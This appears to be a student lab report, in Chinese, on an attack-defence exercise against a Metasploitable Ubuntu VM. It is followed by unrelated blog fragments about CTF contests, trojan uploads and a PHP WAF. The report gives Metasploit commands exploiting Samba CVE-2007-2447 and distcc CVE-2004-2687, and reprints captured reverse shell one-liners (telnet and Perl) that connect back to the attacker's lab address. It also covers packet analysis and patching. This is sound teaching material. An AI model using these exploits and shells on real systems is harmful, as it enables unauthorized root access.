一、實踐目的
通過linux系統攻防對抗實踐,加深對linux系統的認識,同時掌握linux漏洞入侵和架設防禦的初步方法。
二、實踐內容
在metasploit滲透攻擊框架軟體中尋找乙個針對linux系統服務的滲透攻擊模組,在網路安全攻防實驗環境中部署有漏洞的環境(如滲透利用第三方網路服務,需要找到並安裝存在特定漏洞的版本),並使用metasploit進行攻擊。
三、實驗環境
為了完成本次實驗,我們部署了如下的實驗環境。
攻守雙方使用兩台膝上型電腦,並將它們直連成為乙個區域網。在攻守雙方的膝上型電腦上部 署vmware workstation軟體,並分別建立攻擊機、掃瞄機和防守機。其中攻方使用backtrack4系統,並輔助使用winxpattacker進行掃 描;守方使用ubuntu 8.04-metasploitable系統。
如下圖,三颱虛擬機器使用bridge方式聯網,攻擊機ip位址192.168.200.10,掃瞄機ip位址192.168.200.2;防守機ip位址192.168.200.11。
四、攻防實踐過程
攻守雙方首先將虛擬機器啟動起來,配置好網路環境並測試網路通暢後,攻守雙發分別進行接下來的操作。
攻方過程
漏洞掃瞄及結果分析
為了確認防守方系統漏洞,攻方在掃瞄機上使用x-scan 3.3對防守機進行了一次全面漏洞掃瞄。
其中防守機開啟的服務和具體的漏洞如下,
檢視詳細的掃瞄報告,可以得知該主機很多重要資訊,
a) 從139埠可以獲取該系統主機名為「metasploitable」,注釋「metasploitable server (samba 3.0.20-debian)」;
b) 主機系統中存在許多使用者,共35個,其中被禁止的33個,存活使用使用者user、msfadmin;
c) 系統存在弱口令,使用者user、msfadmin密碼與使用者名稱一樣,使用net use命令能夠建立連線檢視共享資源。ftp開放版本資訊 proftpd 1.3.1 server (debian),user這個使用者在ftp中也可以使用;
d) telnet服務開放,可確定該系統為ubuntu 8.04,使用者user、msfadmin可以登入,並獲得相應許可權。如果不存在弱口令,通過截獲該telnet資料也能獲取使用者口令。
攻擊方式選擇
根據上面的分析結果,最簡單的攻擊方式就是通過telnet使用user或msfadmin使用者登入即可,但這樣的攻擊並不是我們的實驗目的,因此我們暫時忽略系統弱口令的問題,通過第三方軟體的漏洞獲取系統的控制權。
從上面的漏洞掃瞄可以看出,防守機的漏洞很多,我們可以使用smb漏洞、distcc漏洞等進行攻擊。因為smb是samba軟體的服務,而samba服 務是執行在root許可權下,所以一旦攻擊成功,將獲得許可權為root的shell。我們本次實驗主要使用smb漏洞進行攻擊,並嘗試使用distcc漏 洞。
攻擊入侵
完成了以上的分析,我們終於進入了今天的重頭戲,攻擊環節。
在命令列視窗輸入命令
msfconsole
將開啟我們要使用的攻擊工具:metasploit,如下圖,
首先,我們使用smb漏洞對防禦機進行攻擊,並設定payload為reverse(在沒有防火牆的情況下,選擇任意的shell payload都是可以的,本實驗的payload是任意選取的),依次輸入如下命令,使用smb漏洞對防守機進行攻擊,
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit
如下圖,攻擊後成功的獲得了乙個root許可權的shell,攻擊成功!
斷開當前的連線,依次輸入如下命令,使用distcc漏洞進行攻擊。
back
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit
如下圖,攻擊成功後出現乙個可以使用的shell,但是沒有root許可權。
但繼續輸入命令時卻沒有反應,後證實是被防守方人為中斷了。
為了使用更高許可權的命令,我們需要root許可權的shell。因此再次使用smb漏洞進行攻擊。在命令列下輸入如下命令,
back
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit
然後在獲得的shell中輸入reboot命令,如下圖,
這時,防守機系統重啟了,攻擊成功!
守方過程
防守機上觀察到的攻擊跡象
在防守機啟動之後,立即使用如下命令抓取系統接收和傳送的報文,並將結果儲存到result.cap檔案中。
sudo tcpdump –s 00 –w result.cap &
然後等待一段時間後,使用如下命令檢視系統程序,
ps –e | more
發現數個可疑的telnet程序,後來證實其為攻擊時使用的shell。如下圖,
果斷將telnet程序殺掉。但隨後不久,收到乙個來自使用者root的訊息,機器便重啟了……
報文分析
為了弄清楚重啟的真正原因。當機器重啟之後,果斷斷網。匯出抓取的報文檔案,並使用wireshark進行分析。
簡單的檢視抓取到的報文,在短短的30分鐘內,一共有128768個報文。如此巨量的報文中,絕大多數報文都是成片的同一種協議的報文,如下圖,
因此可以斷定,攻擊機正在進行掃瞄,而真正的攻擊應該在最後。從後向前檢視報文內容發現,倒數第二條報文是乙個tcp資料報,其中報文的內容是正是reboot!可以斷定正是這條命令導致了系統重啟。
經過對報文仔細的分析,可以確定的攻擊有三次,分別如下圖所示,其中攻擊的漏洞和攜帶的攻擊指令碼分別為,
漏洞名稱
相關**
攻擊指令碼
執行的命令
smb漏洞cve-2007-2447
nohup sh -c 『(sleep 4495|telnet 192.168.200.10 4444|while : ; do sh && break; done 2>&1|telnet 192.168.200.10 4444 >/dev/null 2>&1 &)』
idusers
distcc漏洞cve-2004-2687
perl -mio -e 『$p=fork;exit,if($p);$c=new io::socket::inet(peeraddr,」192.168.200.10:4444」);stdin->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;』
idusers
同第乙個
同第乙個
同第乙個
idreboot
漏洞修補
由於防守機是ubuntu系統,所以很容易將軟體公升級到最新版本。在命令列執行如下命令,
sudo apt-get update
sudo apt-get install samba
或者將相應的服務禁掉,
sudo /etc/init.d/samba stop
sudo /etc/init.d/distcc stop
五、攻防實踐總結
實踐中遇到問題和總結的經驗,
攻方a) 漏洞選擇,因為有文件指出metasploitable靶機存在的漏洞,所以在這個方向上可以減少攻擊過程中嘗試的漏洞;
b) 如果獲得的shell許可權不是root級別的,需要繼續使用本地溢位進行提權,本人對這些漏洞資訊掌握很少。
守方a) 抓取的報文數量巨大,從中找出有用的資訊比較困難。
b) 從攻擊的過程中推測被利用的漏洞必須具備相當的背景知識,並且需要熟練運用搜尋引擎和官方**。
link:
攻防比賽 對於專科高職院校參加攻防比賽的一些建議
最近看到知乎上有兩個相關的問題,但都沒人回答,其實這類問題,也有老師專門發表 研究過,例如基於 ctf競賽 模式的高職資訊保安與管理專業課程體系研究 基於 ctf競賽 模式的高職資訊保安專業實踐教學體系的研究。剛好我們最近也遇到有專科院校的客戶在諮詢這個事情,就順便寫寫個人的幾點看法。其實在技術的角...
Linux安全攻防筆記
一 上傳木馬的過程 1 預設埠22弱口令暴力破解 2 21埠或者3306埠弱口令暴力破解 3 webshell進行shell 提權 4 木馬傳入伺服器的上面並且執行,通過木馬的方式來控制你的伺服器進行非法的操作。二 常見操作 1 切入 tmp 3 木馬載入許可權 4 執行木馬 5 後門,支援木馬復活...
網路攻防比賽PHP版本WAF
次去打hctf決賽,用了這個自己寫的waf,web基本上沒被打,被打的漏洞是檔案包含漏洞,這個功能在本人這個waf裡確實很是捉急,由於只是簡單檢測了.和php 35 導致比賽由於檔案包含漏洞web上失分了一次。不過現在不是很想去改進了。這個是比賽專用waf,商業價值幾乎為0。具體 如下 wafphp...